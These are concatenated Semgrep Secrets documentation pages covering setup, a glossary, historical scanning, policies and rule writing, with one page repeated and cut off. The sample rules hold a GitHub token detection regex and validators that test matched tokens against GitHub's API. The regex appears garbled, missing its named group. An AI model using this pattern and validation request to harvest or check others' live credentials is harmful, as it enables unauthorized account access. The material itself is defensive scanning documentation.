* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
The finding's details page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see. See [View findings' details](/semgrep-secrets/finding-details) for more information.
## Next steps
* Learn more about [viewing a finding's details](/semgrep-secrets/finding-details).
* Learn how to [triage and remediate Semgrep Code findings](/semgrep-secrets/triage-remediation).
# Generic secrets AI
Source: https://docs.semgrep.dev/semgrep-secrets/generic-secrets
Like Semgrep Secrets, which scans for specific secrets, **Generic secrets AI** scans your code for the inadvertent inclusion of credentials, such as API keys, passwords, and access tokens using rules. However, AI-powered generic secrets detection looks for common keywords, such as auth, key, or passwords, and flags anything nearby that appears to be a secret. It then analyzes the results to eliminate false positives, so you only see high-signal results likely to be true positives.
## Prerequisites
To scan your code for generic secrets, you must have the following:
* Access to [Semgrep Secrets](/semgrep-secrets/getting-started).
* [Semgrep Multimodal](/semgrep-multimodal/getting-started) enabled.
* Semgrep CLI version `1.86.0` or higher running in your CI environment.
Generic secrets does *not* work with local scans initiated by running the `semgrep ci` command, because Semgrep Multimodal requires code access.
## Enable generic secrets
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Secrets**.
Click the **Generic secrets** toggle to turn on generic secrets.
Once you have enabled generic secrets, your subsequent Semgrep Secrets scans automatically run with generic secrets rules. You can confirm that this is the case by looking for the following confirmation message in the CLI output:
```console theme={null}
SECRETS RULES
-------------
AI augmented rules are active for secrets detection.
```
If there are findings, Semgrep returns the following CLI message:
```console theme={null}
Your deployment has generic secrets enabled. X potential line locations
will be uploaded to the Semgrep platform and then analyzed by Semgrep Multimodal.
Any findings that appear actionable will be available in the Semgrep Platform.
You can view the secrets analyzed by Multimodal at URL
```
## View findings
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Secrets**](https://semgrep.dev/orgs/-/secrets) to see a list of all findings identified by Semgrep Secrets.
Expand the **Additional filters** menu, then select Secret **type > Generic Secrets** to filter for generic secrets findings.
## Disable generic secrets
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Deployment** and navigate to the **Secrets** section.
Click the **Generic secrets** toggle to turn off generic secrets.
Once disabled, all of your generic secrets findings will be removed from Semgrep AppSec Platform after the following scan.
# Scan for secrets
Source: https://docs.semgrep.dev/semgrep-secrets/getting-started
Semgrep Secrets allows you to detect and triage leaked secrets and credentials and save time by prioritizing which secrets to rotate based on whether they're active and in use.
This document guides you through:
1. Enabling Semgrep Secrets and scanning your repository
2. Configuring your ignore files
3. Upgrading your Semgrep Code rules to Semgrep Secrets rules
**INFO**
[Contact sales](mailto:sales@semgrep.com) for a trial license of Semgrep Secrets.
## Language and environment support
Semgrep Secrets can scan repositories using **any programming language** and supports the posting of pull request (PR) and merge request (MR) comments to GitHub, GitLab, and Bitbucket.
## Enable Semgrep Secrets
**PREREQUISITE**
You have completed a [Semgrep core deployment](/deployment/core-deployment).
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Secrets**.
Click the **Secrets scans** toggle to enable Semgrep Secrets.
## Scan your repository
Once you've enabled Secrets for your organization, all Semgrep scans include secret scanning. You can:
* Manually trigger a full scan of your repository through your CI provider
* Start a scan from the CLI (Semgrep recommends that you run CLI scans only on feature branches, not main branches)
* Wait for your scheduled Semgrep full scan
* Open a pull request or merge request and wait for Semgrep to scan the branch automatically
## Configure files to ignore
Semgrep Secrets scans all files, even those specified in a local `.semgrepignore` file, since secrets can often be found in files that aren't relevant for code scanning. To specify files that Semgrep Secrets should ignore:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
From the **Navigation bar**, select **[Projects](https://semgrep.dev/orgs/-/projects)**.
Find your project, then click **Details**.
Go to **Settings > Path ignores**.
Enter files and folders to ignore in the **Path Ignores** for Secrets box.
Click **Save changes**.
## Upgrade your rules
If you're using Semgrep Code rules to identify leaked credentials, you'll see prompts in Semgrep AppSec Platform indicating that there's an improved version that uses Semgrep Secrets' feature set, primarily its validators, which can validate whether the detected credential is active, and improvements in detecting and hiding false positives.
You can see individual findings for which there is a Semgrep Secrets rule upgrade in Semgrep AppSec Platform's **Findings** page. The findings are tagged with a label that says `Secrets version available! Click to see rule(s)`.
To see the rules you're using for which there is a Secrets rule upgrade in Semgrep AppSec Platform:
Sign in to Semgrep AppSec Platform.
Go to **Rules & Policies > Policies > Code**.
Under **Available rule upgrades**, select **Secrets**.
## Next steps
* [Scan your Git history](/semgrep-secrets/historical-scanning) for secrets and [scan for generic secrets](/semgrep-secrets/generic-secrets).
* Learn how to [view your findings in Semgrep AppSec Platform](/semgrep-secrets/findings).
* Learn more about the [structure of rules for Semgrep Secrets](/semgrep-secrets/rules), as well as how to [manage your rules using Semgrep AppSec Platform](/semgrep-secrets/policies).
* Learn how to [write custom validators](/semgrep-secrets/validators) for your Semgrep Secrets rules.
# Semgrep Secrets glossary
Source: https://docs.semgrep.dev/semgrep-secrets/glossary
The terms and definitions provided here are specific to Semgrep Secrets.
## Entropy analysis
Entropy, the measure of a string's randomness, measures how likely it is that a given string is random. If a string is highly entropic, it's highly random. Entropy analysis, therefore, can provide insight into whether a given string is a secret, reducing false positives.
## Expiration
Some secrets are time-limited. This means that the secret is only valid for the period set by the creator. Expired secrets can pose fewer problems, so findings involving expired secrets can be deprioritized.
## Historical scan
A scan of your Git commit history to see if there are valid secrets publicly available in your repository's Git history.
## Policy
A policy defines the set of rules that Semgrep runs and the workflow actions it undertakes when a rule from the policy generates a finding. The workflow action performed by Semgrep when it detects a finding can include notifying Slack channels or posting a comment in the pull request or merge request that generated the finding.
Not to be confused with **policy-as-code**.
## Registry (Semgrep Registry)
A [collection of rules](https://semgrep.dev/r) that you can download. Semgrep offers a [Secrets-specific ruleset](https://semgrep.dev/p/secrets).
### Sources of rules
The Semgrep Registry contains rules imported from various repositories, including non-Semgrep individuals or groups, such as Trail of Bits and GitLab. You can view a rule's `license` key to ensure the license meets your needs.
## Revocation
Revoking a secret makes it inactive. This is done when a secret isn't required anymore or if a secret becomes compromised.
## Rotation
Rotating secrets is the process of updating a secret regularly. If a secret is leaked, regular rotation can ensure that the credential is valid only for a limited time. Rotating secrets can also minimize risk due to the reuse of secrets.
## Ruleset
Rulesets are rules related through a programming language, OWASP category, or framework. Rulesets are curated by the team at Semgrep and updated as new rules are added to the Semgrep Registry.
## Scan target
A scan target is any file, or collection of files and directories that Semgrep can scan. While Semgrep can scan **any** text file through `generic` mode, Semgrep primarily scans the following:
### Codebase
Any code files within a specified directory and its subdirectories.
### Project
A repository or codebase that you have added to Semgrep Cloud Platform for scanning along with finding metadata and other Semgrep data and resources.
### Repository
A location, typically remote, for source code, including metadata relating to the source code. Semgrep supports Git repositories.
## Secret
Secrets are pieces of sensitive information crucial for securing applications and their data. This information can include API keys, access credentials, SSH keys, certificates, and more. If secrets are stored in source code, they can be "leaked," allowing internal and external malicious actors to use this information for unauthorized access.
## Semantic analysis
Semantic analysis refers to Semgrep Secrets' ability to understand how data is used in your code. Semgrep Secrets uses several mechanisms to perform semantic analysis, including [ dataflow analysis](/writing-rules/data-flow/data-flow-overview) and [ constant propagation](/writing-rules/data-flow/constant-propagation), allowing Secrets to track data, such as variables, and the flow of that data across files and functions in your codebase.
## Validation state
The validation state of a secret provides information on whether a secret, if leaked, poses an immediate security threat. Current Semgrep validation states for a secret include:
* **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
* **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
* **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
* **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
## Validator
Semgrep Secrets rules include validators, which help determine if a secret is actively used. Validators define behavior, such as API calls, that determine whether an identified secret is valid and whether it can be successfully used to access a resource.
## Vault
A secure, centralized storage solution for your sensitive data, including access tokens, API keys, certificates, passwords, and more. A secrets vault can make it easier to store your data securely and allows you to control who accesses the data. The vault may also offer features like auditing, such as who accesses what secret and when or when a secret expires, and rotation of secrets.
# Scan your Git history (beta)
Source: https://docs.semgrep.dev/semgrep-secrets/historical-scanning
Historical scans allow you to detect valid, leaked secrets in your Git history, helping you reduce your repository's attack surface.
## Feature maturity
* This feature is currently in beta. See [Limitations](#limitations) for more information.
* All Semgrep Secrets customers can enable this feature.
* Only rules that perform HTTP validation are incorporated during historical scanning. Findings that have been verified as valid are surfaced.
Please leave feedback either by reaching out to your technical account manager (TAM) or through the ** Feedback** form in Semgrep AppSec Platform's navigation bar.
## Prerequisites
Historical scanning requires Semgrep **v1.65.0** or later.
## Scope of findings
* Historical scans display **valid** Secrets findings. These secrets have been [validated through authentication or a similar function](/semgrep-secrets/conceptual-overview/#validate-secrets).
* Historical scans do **not** display the following finding types:
* Invalid Secrets findings
* Secrets findings without validator functions
* Secrets findings with validation errors
* Findings from historical scans are generated through **Generic** (regex-based) rules only. To view these rules:
* Navigate to **[ Semgrep AppSec Platform > Rules & Policies > Secrets](https://semgrep.dev/orgs/-/policies/secrets?analysis-method=generic)**.
* Go to Validation state policies > Global rule behavior. Click **Edit**.
* In the filter bar, click **Generic** under **Analysis method**.
For more information on the types of findings by validation, see [Semgrep Secrets overview](/semgrep-secrets/conceptual-overview/#validate-secrets).
## Enable historical scans for full Secrets scans
You can enable historical scans for your full scans, perform one-time historical scans using the Semgrep CLI, or create an on-demand CI job. Then, track and triage these findings in Semgrep AppSec Platform. Historical scans display **valid, leaked secrets** to ensure a high true positive rate. Diff-aware scans do **not** perform historical scans.
**TIP**
[Test historical scans locally](#run-a-local-test-scan) to create a benchmark of performance and scan times before adding historical scans to your formal security process.
To enable historical scanning:
Sign in to Semgrep AppSec Platform.
Go to **Settings > General > Secrets**.
Click the ** Historical scanning** toggle.
Subsequent Semgrep full scans now include historical scanning.
### Run a one-off historical scan
To run a one-off or on-demand historical scan, you can create a specific CI job and then manually start the job as needed. The general steps are:
Copy your current full scan CI job configuration file, or use [a template](/semgrep-ci/sample-ci-configs/).
Append the `--historical-secrets` flag to the `semgrep ci` command:
```bash theme={null}
semgrep ci --historical-secrets
```
Depending on your CI provider, you may have to perform additional steps to enable the job to run manually. For example, GitHub Actions requires the `workflow_dispatch` event to be added to your CI job.
### Run a local test scan
You can run a historical scan locally without sending the scan results to Semgrep AppSec Platform. This can help you determine the time it takes for Semgrep Secrets to run on your repository's Git commit history.
To run a test scan, enter the following command:
```bash theme={null}
semgrep ci --secrets --historical-secrets --dry-run
```
The historical scan results appear in the **Secrets Historical Scan** section of the CLI output.
## Triage process
%%Historical scan|historical\_scan%% findings are not automatically marked as **Fixed**. To triage a historical finding, you must:
Manually rotate the secret.
In Semgrep AppSec Platform, click **Secrets**.
Select the checkboxes for all of the historical secrets that you want to triage, then click **Triage > Ignored**.
Provide a **Comment** about why you're changing the status to **Ignored**, then click **Submit**.
## Hide historical findings
Semgrep AppSec Platform displays historical findings by default. These findings are flagged as **Historical ** in the findings list. To hide historical findings:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [** Secrets**](https://semgrep.dev/orgs/-/secrets).
Expand the **Additional filters** menu, then select **Historical findings > Exclude historical** to toggle off the display of historical findings.
## Limitations
* Historical scanning can slow down scan times. Depending on the size of your repository history, scans can finish in less than 5 minutes or may take more than 60 minutes.
* Within Semgrep AppSec Platform, historical scan findings are not automatically marked as **Fixed**. Findings can only exist in two states: `Open` or `Ignored`. Because Semgrep scans do not automatically detect historical findings as fixed, you must manually rotate and triage the secret as `Ignored`.
* With historical scans enabled, the CLI output displays secrets still present in the current version of the code twice: once at the commit where they were initially added and once at the current commit from the standard Secrets scan. Semgrep AppSec Platform deduplicates the two findings and displays the secret as a current rather than a historical one.
### Commit history size
* Semgrep Secrets scans up to **5 GiB** of uncompressed blobs. This ranges from around **10,000 to 50,000** previous commits depending on the average size of the commit.
* For repositories with more than 5 GiB of history, Semgrep Secrets is still able to complete the scan, but the scan scope will not cover the older commits beyond 5 GiB.
* The size of the commit history affects the speed of the scan. Larger repositories take longer to complete.
* Semgrep Secrets scans the whole commit history every time a full scan is run. This guarantees that your Git history is also scanned using the **latest Secrets rules**.
# Manage Semgrep Secrets rules using the policies page
Source: https://docs.semgrep.dev/semgrep-secrets/policies
Upgrade to Unified Policies: Semgrep's latest version of **Policies** unifies policies across finding types, allows you to assign different policies to different projects, and adds conditional logic. See [Unified Policies](/semgrep-appsec-platform/unified-policies/overview) for more information.
To access the policies page for Semgrep Secrets, sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to **Rules & policies > Policies > Secrets**.
## Validation state policies
Validation state policies allow you to define the rules Semgrep Secrets uses to scan your code, how to handle invalid findings, including those that have been revoked or were never functional, and how to handle validation errors when attempting to determine if a secret is a legitimate credential that can be used to access a resource.
Findings in different validation states may also have different severities, based on the risk associated with valid credentials as compared with invalid credentials. See [Secrets findings: severity](/semgrep-secrets/findings#severity) for more detail on this behavior.
### Global rule behavior
The **Global rule behavior** tab allows you to view and manage the rules Semgrep Secrets uses for scanning. This page consists of the following elements:
* The **Filters** pane displays the filters you can use to select and perform operations on rules in bulk. See [Filters](#filters) for more information.
* The **Rules** pane displays the rules that Semgrep scans use to detect leaked secrets and allows you to edit their assigned rule modes. You can make these edits on individual rules or through the bulk editing of many rules. You can also use the Search for rule names or ids box. See [Rules list](#rules-list) for more information.
#### Filters
The **Filters** pane displays the filters you can use to select and perform operations on rules in bulk.
| **Filter** | **Description** |
| :------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Modes** | Filter by the workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules you have turned off and are no longer included for scanning. |
| **Validation** | Filter by whether the rule includes a validator or not. |
| **Type** | Filter by the type of secret the rule addresses. Examples: AWS, Adobe, DigitalOcean, GitHub, GitLab. |
| **Severities** | Filter by the severity level of the secret:
**Low**: low privilege; for example, write-only access like a webhook
**Medium**: may have read and write access depending on what scope the account has
**High** and **Critical**: has access to critical resources or full account access
|
| **Confidence** | The confidence of the rule to detect true positives. |
| **Source** | Filter by Pro rules (authored by Semgrep) or by custom rules (rules created by your organization). |
| **Analysis method** | Filter based on whether Semgrep used **Semantic** or **Generic** analysis. |
| **Ruleset** | The name of the ruleset the rule belongs to. |
| **Language** | The project language for which the Secret can be used. |
#### Rules list
The following columns appear on the rule entries list:
| **Column** | **Description** |
| :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Rule name** | Name of the rule Semgrep Secret uses for scanning. |
| **Labels** | Metadata describing the rule, including the service for which the rule is applicable. |
| **Open findings** | The number of open findings the rule detected across all scans. |
| **Fix rate** | The percentage of findings that are fixed through changes to the code. |
| **Severity** | The higher the severity, the more critical the issues that a rule detects. |
| **Confidence** | Indicates confidence of the rule to detect true positives. |
| **Source** | Indicates the origin of a rule.
**Pro:** Authored by Semgrep.
**Custom:** Rules created within your Semgrep organization.
|
| **Ruleset** | The name of the ruleset the rule belongs to. |
| **Mode** | Specifies what workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules you have turned off and are no longer included for scanning. See [Rule modes](#rule-modes). |
#### Rule modes
Semgrep Secrets provides three rule modes. These can be used to trigger **workflow options** whenever Semgrep Secrets identifies a finding based on the rule.
| Rule mode | Description |
| :-------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Monitor | Rules in **Monitor mode** display findings only in:
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
| Comment | Rules in **Comment mode** display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails. These rules display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
These are typically high-confidence, high-severity rules. |
#### Manage rules
##### Turn off rules
In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
Select either:
* The top **Number Matching Rules** checkbox to select all rules.
* Individual checkboxes next to rules.
Click **Change modes(Number)**, then click **Disabled**.
You can also select individual rules under the **Mode** column and turn them off individually.
##### Add custom rules
To add custom rules, use the Semgrep Editor. See [ Semgrep Secrets rule structure and sample](/semgrep-secrets/rules).
### Invalid findings
You can define how Semgrep handles findings that it categorizes as invalid. Invalid findings include secrets that, during validation, were identified as revoked or were never functional.
When Semgrep identifies an invalid finding, you can choose to view the finding in Semgrep AppSec Platform, have Semgrep leave a comment in the pull request or merge request, or have the Semgrep scan fail with an exit code of `1`.
See [Rule modes](#rule-modes) for more information on the modes available.
### Validation errors
You can define how Semgrep handles validation errors that occur when there are difficulties reaching the secrets provider or when Semgrep receives an unexpected response from the API.
When Semgrep encounters a validation error, you can choose to view the associated finding in Semgrep AppSec Platform, have Semgrep leave a comment in the pull request or merge request, or have the Semgrep scan fail with an exit code of `1`.
See [Rule modes](#rule-modes) for more information on the modes available.
## Slack notification policies
If you are an **admin** for your Semgrep organization, you can view, create, edit, or delete Slack notification policies. These policies allow you to notify developers of Secrets findings on Slack while managing noise and ensuring that developers are only notified based on the conditions you set. You can configure the following:
* **Scope**: These are the projects (repositories) that are affected by the policy.
* **Conditions**: The conditions under which **actions** are performed. These conditions are typically attributes of a finding, such as severity or validation.
* **Actions**: Actions that are performed on the defined scope when conditions are met.
You can create as many policies as necessary.
**PREREQUISITES**
This feature requires either the:
* `semgrep:latest` Docker image
* Semgrep CLI version 1.101.0 and later
### Create a policy
In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
Click ** Create policy**.
Provide a **Policy name**.
Define the **Scope** of the policy:
i. Click the drop-down box to select between **All Projects**, **Project**, or **Project tag**.
ii. If you select **Project** or **Project tag**, a second drop-down box appears. Choose the **projects** or **project tags** to finish defining the scope.
Define the conditions of the policy. See [Policy conditions](#policy-conditions) for more information. You can create more than one condition by clicking **Add condition**.
* For each condition, you can select multiple values by clicking on the **plus sign ()** on the same row. The policy is applied when **any** of those values are met (`OR`).
* Each additional condition is additive. The policy is applied when **all** conditions are met (`AND`).
Define the actions of the policy, and select which channels should receive notifications when the policy is triggered. This list is populated by the channels you have subscribed to. To change this list, follow the steps listed in [Receive Slack notifications](/semgrep-appsec-platform/slack-notifications#secrets).
Click **Create**.
Enable the policy by clicking the ** toggle** to enable a policy. This applies the policy to future scans.
#### Policy scopes
A policy's scope can consist of tags or projects, but not both. If you need to create a policy with both tags and projects, you must make another policy.
If a project or project tag that's included in a policy scope gets deleted, it is **removed from the policy scope**. If all projects or all project tags are deleted for a given policy, you must edit the policy for it to be applied to a valid scope.
#### Policy conditions
The following table lists available conditions and their values:
| Condition | Values |
| ------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Severity |
Critical
High
Medium
Low
|
| Validation |
Confirmed valid
Confirmed invalid
Validation error
No validator
|
| Repository |
Public
Private
Unknown
Note: Repository is only available for GitHub repositories. |
| Secret | Manually provide a Secret or choose from a list of values. The values listed are generated from findings identified by Semgrep Secrets. |
### View your policy
In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
Under **Slack notification policies**, click the **name** of your policy or **the three-dot ellipsis () > Edit policy** to see additional details.
You can also view a dialog showing a policy's **scope**, or the projects and tags affected by the policy, and a summary of its **actions and conditions** by clicking on the two summary links beside the policy name.
### Edit a policy
Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to edit.
Click the **three-dot (...) button > Edit policy** for the policy. This takes you to the policy definition page.
Make your changes.
Click **Save**.
### Turn on or off a policy
Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to turn on or off.
Turn off or on the **Enable policy** toggle.
Click **Save**.
### Delete a policy
Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to delete.
Click the **three-dot (...) button > Delete policy**.
Click **Remove** to confirm..
**INFO:**
deleting a policy does not remove existing notifications.
## Block a pull request or merge request through rule modes
Semgrep enables you to set a **workflow action** based on the presence of a finding. Workflow actions include:
* Failing a CI job. Semgrep returns exit code `1`, and you can use this result to set up additional checks to enforce a block on a pull request (PR) or merge request (MR).
* Leaving a [PR or MR comment](/category/pr-or-mr-comments).
* [Notifying select channels](/semgrep-appsec-platform/notifications), such as private Slack channels or webhooks.
You can trigger these actions based on the [rule mode](#rule-modes) set for the rule.
If you're encountering issues getting PR comments for Semgrep Secrets:
* Make sure the rule is in **Comment** or **Block** mode
* Review the [PR or MR comments guide for your SCM](/category/pr-or-mr-comments)
* Explore [other reasons you may not see PR or MR comments](/kb/semgrep-appsec-platform/missing-pr-comments)
# Semgrep Secrets rule structure and sample
Source: https://docs.semgrep.dev/semgrep-secrets/rules
This article walks you through writing, publishing, and using Semgrep Secrets rules. It also demonstrates what a sample Semgrep Secrets rule looks like, with subsequent sections describing the key-value pairs in the context of a Semgrep Secrets rule.
## Write a rule
There are two ways to write a rule for Semgrep Secrets:
1. Create a YAML file.
2. Use the Semgrep editor.
### Create a YAML file
If you're familiar with Semgrep's rules syntax, including the [validator syntax](/semgrep-secrets/validators), you can create a YAML file containing your rules. When you're done, [publish your rules for use with your organization](/writing-rules/private-rules/).
If you want to keep your rules file local, you must pass in the `--allow-untrusted-validators` flag when calling `semgrep ci` from the CLI.
### Use Semgrep Editor
The Semgrep Editor, available in Semgrep AppSec Platform, can help you write custom Semgrep Secrets rules. To pull up a sample rule that you can modify:
Sign in to Semgrep AppSec Platform.
Go to **Rules > Editor**.
Click the **+** icon and, under **Secrets**, select **HTTP validators**.
Semgrep Editor allows you to modify the sample rule and run it against test code to ensure it functions as expected. When you finish making changes, click **Save** to proceed.
**INFO**
Custom validator rules are private to your organization. They are not available to the Semgrep Community.
To run a specific rule when invoking Semgrep from the CLI:
Sign in to Semgrep AppSec Platform.
Go to **Rules > Editor**.
Open up your rule.
Click **Add to** Policy and select your mode: Monitor, Comment, or Blocking.
In the CLI, start a scan by running `semgrep ci`.
## Sample rule
The following sample rule detects a leaked GitHub personal access token (PAT):
```yaml expandable theme={null}
rules:
- id: github_example
message: >-
This is an example rule, that performs validation against github.com
severity: MEDIUM
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
This can also be done in any Semgrep-supported language:
```yaml expandable theme={null}
rules:
- id: github_example
message: >-
This is an example rule that performs validation against github.com
severity: MEDIUM
languages:
- javascript
- typescript
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern: |
"$R"
- metavariable-pattern:
metavariable: $R
patterns:
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
### Subkeys under the `metadata` key
These subkeys provide context to both you and other end-users, as well as to
Semgrep.
```yaml theme={null}
...
metadata:
...
secret_type: GitHub
technology:
- secrets
...
```
| Key | Description |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `secret_type` | Defines the name of the service or the type of secret. When writing a custom validator, set this value to a descriptive name to help identify it when triaging secrets. Examples of secret types include "Slack," "Asana," and other common service names. |
| `technology` | Set this to `secrets` to identify the rule as a Secrets rule. |
### Subkeys under the `patterns` key
These subkeys identify the token to analyze in a given match.
```yaml theme={null}
...
patterns:
...
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
..
```
| Key | Description |
| ----------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `pattern-regex` | Searches for a regular expression and assigns it to the named capture group regex, which is then used as \$REGEX. |
| `focus_metavariable` | This key enables the rule to define a metavariable upon which Semgrep can perform further analysis, such as entropy analysis. |
| `metavariable_analysis` | Under `metavariable_analysis`, you can define additional keys: `analyzer` and `metavariable`. These specify the kind of analysis Semgrep performs and on what variable. |
**TIP**
For more information, see the rule syntax for [ Focus metavariable](/writing-rules/rule-syntax/#focus-metavariable).
### Subkeys under the `validators` and `http` keys
The `validators` key uses a list of keys to define the validator function. In
particular, the `http` key defines how the rule forms a request object and what
response is expected for valid and invalid states. Although some rules do not use a `validators` key, most Secrets rules use it.
```yaml theme={null}
...
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: '200'
result:
validity: valid
- match:
- status-code: '404'
result:
validity: invalid
```
| Key | Description |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `request` | This key and its subkeys describe the request object and the URL to send the request object to. |
| `response` | This key and its subkeys determine **validation status**. Semgrep Secrets identifies a validation status through HTTP status code **and** other key-value pairs. For example, a rule may require a 200 status code **and** a `"message": "ok"` in the response body for the matching secret to be considered **Confirmed valid**. |
**TIP**
See [ Validators](/semgrep-secrets/validators) for more information.
## Metavariable binding
Semgrep Secrets can use metavariables. Metavariables allow Semgrep Secrets to reuse matched information from your code in its validators. An example of a metavariable is as follows:
When you click **Run**, the content from the metavariable `$HELLO` displays as `This content is now reusable in validators`. If this were a Secrets rule, Semgrep Secrets could use this to call the appropriate service to determine if the secret is active.
## Differences between Semgrep Secrets rules and Semgrep Registry rules
The Semgrep Registry includes SAST rules that can detect secrets to a certain
extent. You can run these rules in Semgrep Code (Semgrep's SAST analyzer), or
even write your own custom secret-detecting SAST rules, but with the following
differences:
* Semgrep Code does not run a validator function against these rules, resulting in less accurate results.
* Because the results are less accurate, these rules are not suitable as criteria to block a PR or MR.
* The UI for Semgrep Code is tailored to SAST triage and does not include filtering functions for valid or invalid tokens.
* Existing Semgrep Pro rules that detect secrets are transitioning from Semgrep Code to Semgrep Secrets. By transitioning these rules, improvements, such as validator functions, can be added to the rules when they are run in Semgrep Secrets.
* You can write your own custom validator functions and run them in Semgrep Secrets for custom services or use cases.
# Semgrep Secrets rule structure and sample
Source: https://docs.semgrep.dev/semgrep-secrets/rules-1
This article walks you through writing, publishing, and using Semgrep Secrets rules. It also demonstrates what a sample Semgrep Secrets rule looks like, with subsequent sections describing the key-value pairs in the context of a Semgrep Secrets rule.
## Write a rule
There are two ways to write a rule for Semgrep Secrets:
1. Create a YAML file.
2. Use the Semgrep editor.
### Create a YAML file
If you're familiar with Semgrep's rules syntax, including the [validator syntax](/semgrep-secrets/validators), you can create a YAML file containing your rules. When you're done, [publish your rules for use with your organization](/writing-rules/private-rules/).
If you want to keep your rules file local, you must pass in the `--allow-untrusted-validators` flag when calling `semgrep ci` from the CLI.
### Use Semgrep Editor
The Semgrep Editor, available in Semgrep AppSec Platform, can help you write custom Semgrep Secrets rules. To pull up a sample rule that you can modify:
Sign in to Semgrep AppSec Platform.
Go to **Rules > Editor**.
Click the **+** icon and, under **Secrets**, select **HTTP validators**.
Semgrep Editor allows you to modify the sample rule and run it against test code to ensure it functions as expected. When you finish making changes, click **Save** to proceed.
**INFO**
Custom validator rules are private to your organization. They are not available to the Semgrep Community.
To run a specific rule when invoking Semgrep from the CLI:
Sign in to Semgrep AppSec Platform.
Go to **Rules > Editor**.
Open up your rule.
Click **Add to** Policy and select your mode: Monitor, Comment, or Blocking.
In the CLI, start a scan by running `semgrep ci`.
## Sample rule
The following sample rule detects a leaked GitHub personal access token (PAT):
```yaml expandable theme={null}
rules:
- id: github_example
message: >-
This is an example rule, that performs validation against github.com
severity: MEDIUM
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
This can also be done in any Semgrep-supported language:
```yaml expandable theme={null}
rules:
- id: github_example
message: >-
This is an example rule that performs validation against github.com
